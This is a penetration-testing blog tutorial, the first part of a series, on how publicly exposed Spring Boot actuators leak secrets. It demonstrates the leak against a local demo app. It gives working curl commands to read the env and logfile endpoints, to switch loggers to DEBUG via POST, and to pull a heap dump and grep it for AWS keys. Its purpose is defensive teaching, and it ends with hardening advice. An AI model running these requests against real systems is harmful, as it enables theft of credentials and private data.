Spring Actuator - Stealing Secrets Using Spring Actuators - Part 1: - Tutorial Boy -->
Home
Spring Boot

Spring Actuator - Stealing Secrets Using Spring Actuators - Part 1:

 

Spring is a set of frameworks for developing Applications in Java. It is widely used, and so it is not unusual to encounter it during a security audit or penetration test. One of its features that I recently encountered during a Whitebox audit is actuators. In this series of articles, I will use them as a case study for security testing - first describing the risk involved in exposing actuators to the Internet by demonstrating how they can be used to steal secrets from your applications, using a basic Spring application as a case study. In the next parts of the series, I will discuss how to detect misconfiguration using static code analysis and dynamic testing, and finally, how you can secure those actuators that you absolutely cannot leave turned off.

What are Actuators?

Actuators expose information about the running Spring application via (amongst others) a REST API and can be used to retrieve data from the system, or even make configuration changes if configured (in)correctly. They can be quite helpful in debugging or monitoring a Spring application, but if you expose them too widely, things can get dangerous very quickly.

By default, only the health check endpoint is enabled over REST, listening at /actuator/health. However, it is possible to enable additional endpoints, for example, to expose metrics to Prometheus for monitoring. This can be done through settings in the relevant .properties file (or its YAML equivalent):

# Enable Prometheus endpoint in addition to health check
management.endpoints.web.exposure.include=health,prometheus

It is also possible to enable all endpoints for access over REST, by using the following setting in the relevant .properties file:

# Do not do this! This is insecure!
management.endpoints.web.exposure.include=*

This is the config that I found during a recent engagement - and since the application was explicitly configured to expose all actuators without any authentication, I was curious to see what other actuators exist, and how they could be leveraged to attack the application. The result was this article series (and a call to the customer, telling them to make some changes to their configuration right now).

Exploiting Public Actuators

Conveniently, Spring provides a list of all actuators that are present by default and can be enabled. They include actuators for reading (and writing!) the log configuration, the application environment (including environment variables), and even the logs of the application. Even more conveniently, by default, it will show you the list of enabled actuators if you simply access /actuator, removing the guesswork out of determining which actuators you have to work with.

I've created a basic, vulnerable Spring application that exposes all endpoints if you want to follow along at home. Running it locally on your machine and accessing the Spring actuators endpoint, you will get the following output:

$ curl localhost:8081/actuator | jq .
{
  "_links": {
    "self": {
      "href": "http://localhost:8081/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8081/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://localhost:8081/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://localhost:8081/actuator/caches/{cache}",
      "templated": true
    },
    "health-path": {
      "href": "http://localhost:8081/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://localhost:8081/actuator/health",
      "templated": false
    },
    "info": {
      "href": "http://localhost:8081/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://localhost:8081/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://localhost:8081/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://localhost:8081/actuator/configprops/{prefix}",
      "templated": true
    },
    "env-toMatch": {
      "href": "http://localhost:8081/actuator/env/{toMatch}",
      "templated": true
    },
    "env": {
      "href": "http://localhost:8081/actuator/env",
      "templated": false
    },
    "logfile": {
      "href": "http://localhost:8081/actuator/logfile",
      "templated": false
    },
    "loggers-name": {
      "href": "http://localhost:8081/actuator/loggers/{name}",
      "templated": true
    },
    "loggers": {
      "href": "http://localhost:8081/actuator/loggers",
      "templated": false
    },
    "heapdump": {
      "href": "http://localhost:8081/actuator/heapdump",
      "templated": false
    },
    "threaddump": {
      "href": "http://localhost:8081/actuator/threaddump",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://localhost:8081/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "metrics": {
      "href": "http://localhost:8081/actuator/metrics",
      "templated": false
    },
    "scheduledtasks": {
      "href": "http://localhost:8081/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://localhost:8081/actuator/mappings",
      "templated": false
    }
  }
}

There have been some articles about exploiting actuators, which can even lead to remote code execution (RCE) on the machine running the application. Veracode discussed a series of paths to RCE in 2019 (although some of their methods no longer work on modern Spring versions). In this article, I wanted to highlight a few additional endpoints that can prove dangerous, to illustrate why you should be careful with this feature.

Exposing the Environment

Let's assume the application you are running is using environmental variables to pull in configuration values:

public class SecretConfig {
    protected static String DATABASE_CONNECTION = System.getenv("DB_CONN");
    protected static String SECRET_AWS_ACCESS_KEY = System.getenv("AWS_SECRET_KEY");
    protected static String SECRET_AWS_ACCESS_TOKEN = System.getenv("AWS_TOKEN");
}

One of the endpoints allows us to take a peek at the application environment. Let's see if we can get these tokens using the env actuator:

$ curl localhost:8081/actuator/env | jq .
// ... lots of stuff
"DB_CONN": {
    "value": "psql://server/db",
    "origin": "System Environment Property \"DB_CONN\""
},
// ... lots of stuff

So, we can read the DB connection string in plaintext from the actuator. Sweet. What about the AWS credentials? Well, the situation is a bit more complicated here:

"AWS_SECRET_KEY": {
    "value": "******",
    "origin": "System Environment Property \"AWS_SECRET_KEY\""
},
"AWS_TOKEN": {
    "value": "******",
    "origin": "System Environment Property \"AWS_TOKEN\""
},

As you can see, the data is being redacted. Spring automatically tries to redact sensitive values in the Actuator output, based on the name of the environment variable. If we had been more careless and chosen a different name, the data would be right here for the taking, but sadly, Spring has prevented us from trivially stealing the values here. But, there are of course other ways to achieve this goal.

Reading Logs

Let's assume that your application has the following code:

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Log the AWS credentials for debugging, 
    // so we know if they got loaded correctly.
    logger.info("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

Assuming it is configured to log to a file, Spring helpfully exposes an endpoint called /actuator/logfile. Let's take a look at what this can give us:

$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:45:14.813  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-08-24 13:45:14.814  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest

And there we go - we can pull the AWS credentials right from the logs.

This is, admittedly, a bit far-fetched. No one in their right mind would log AWS credentials in a production environment, right? Okay, then let's make a few changes to the code to reflect this:

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // This is safe, as this logs on the DEBUG level,
    // while in production, the loglevel is set to INFO, 
    // so this will never be logged
    logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

So you build, deploy, double-check that the logs are clean, and go to bed, knowing that your application is now safe - right?

Changing Log Configuration

Enter /actuator/loggers. This endpoint gives us the log configuration for the application, and looks something like this:

$ curl localhost:8081/actuator/loggers | jq .
{
  "levels": [
    "OFF",
    "ERROR",
    "WARN",
    "INFO",
    "DEBUG",
    "TRACE"
  ],
  "loggers": {
    // ...
    "com.example.demo": {
      "configuredLevel": null,
      "effectiveLevel": "INFO"
    },
    "com.example.demo.DemoApplication": {
      "configuredLevel": null,
      "effectiveLevel": "INFO"
    },
    // ...
  }
  // ...
}

So, we can see that the logger is configured to only log on the INFO level. Sure, this isn't great (the endpoint discloses a lot about the structure of the application, used dependencies, etc.), but it isn't immediately dangerous. What is dangerous is the fact that the logger configuration can also be changed from this actuator by sending a POST to the correct endpoint. In this case, I am setting the log level for the logger com.example.demo.demo application to DEBUG:

$ curl -X POST localhost:8081/actuator/loggers/com.example.demo.DemoApplication -H 'Content-Type: application/json' -d '{"configuredLevel": "DEBUG"}'

Visit the page again, retrieve the logs - and there we go:

$ curl localhost:8081/actuator/logfile   
[...]
2022-09-24 13:57:37.774  INFO 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-09-24 13:57:37.774 DEBUG 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest

The logs are back, clearly showing that the application is now logging on the DEBUG level. Now you are seriously annoyed, and decide to do what you should have done before: get rid of the logging statement, as there really is no good reason for it to be there in the first place anyway.

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Do not log the AWS Credentials, this is dangerous! 
    // => Commented out for now.
    // logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

Build, deploy, and finally we're safe. Right?

Actually, I'll Just Have Everything To Go, Please

Pulling data from logs is a really tedious task, and there is no guarantee for me (as an attacker) that the application will actually log interesting things. Sure, I could go ahead and set every single external library to the TRACE log level, collect the logs, and sift through them, but really, this seems like a lot of work I'd rather avoid doing, thank you very much. Why go to that trouble if I could instead just take... everything?

Well, lucky for me, there is /actuator/heapdump. This endpoint does exactly what it sounds like - it takes a copy of the Java heap (i.e., the memory of the application) and provides it to me as a large blob of binary data. Let's grab a copy and dig in.

$ curl localhost:8081/actuator/heapdump -o heap.bin

Now, since you have cleverly disabled the logging of AWS credentials, I can no longer just read them from the logs - but they are still in the heap of the application! Likely in the middle of a big chunk of meaningless binary data, but that's what the strings utility is for - it pulls sequences of printable characters from any file and presents them to you, newline-separated. You can then just pipe the whole thing through grep to find what you are looking for. For example, AWS credentials.

# Use -C 20 to see 20 lines before and after each match
$ strings heap.bin | grep -C 20 AKIA
[...]
AWS_TOKEN#
AWS_TOKEN!
TESTingSecretAccessTest#
TESTingSecretAccessTest!
[...]
AWS_SECRET_KEY#
AWS_SECRET_KEY!
AKIATESTTEST#
AKIATESTTEST!

And there we go - secrets, pulled directly from the brain of your application. In the same way, we could pull out cryptographic keys, API credentials, user data that the application is currently working on, internal API addresses, AWS resource identifiers, or whatever else the application is using. And at this point, there really isn't anything you can do about it.

Well, except, of course, not exposing your actuators.

Closing Notes

I've only gone through a small number of the actuators in this blog post, and these aren't even necessarily the most dangerous ones. The only arguably harmless endpoint is the health check actuator (which is also the only one that is enabled by default). Any other endpoint should be considered dangerous (yes, even the Prometheus endpoint you are using for monitoring your application, unless you are fine with showing the whole world your resource usage and whatever business metrics you are exposing through it). The best thing you can do it to turn off every endpoint you are not actively using, limit access to the others using the firewall, and add authentication requirements.

In the next parts of this blog series, I will discuss how to detect your exposed endpoints. We will begin with detecting them in your code, and then move on to detecting them with dynamic security scanners. Finally, we will discuss how you can secure your actuators against attackers.

Further reading:

The spring actuator documentation

Veracode listing options for RCE using Spring Actuators

A Study Notes of Exploit Spring Boot Actuator


Post a Comment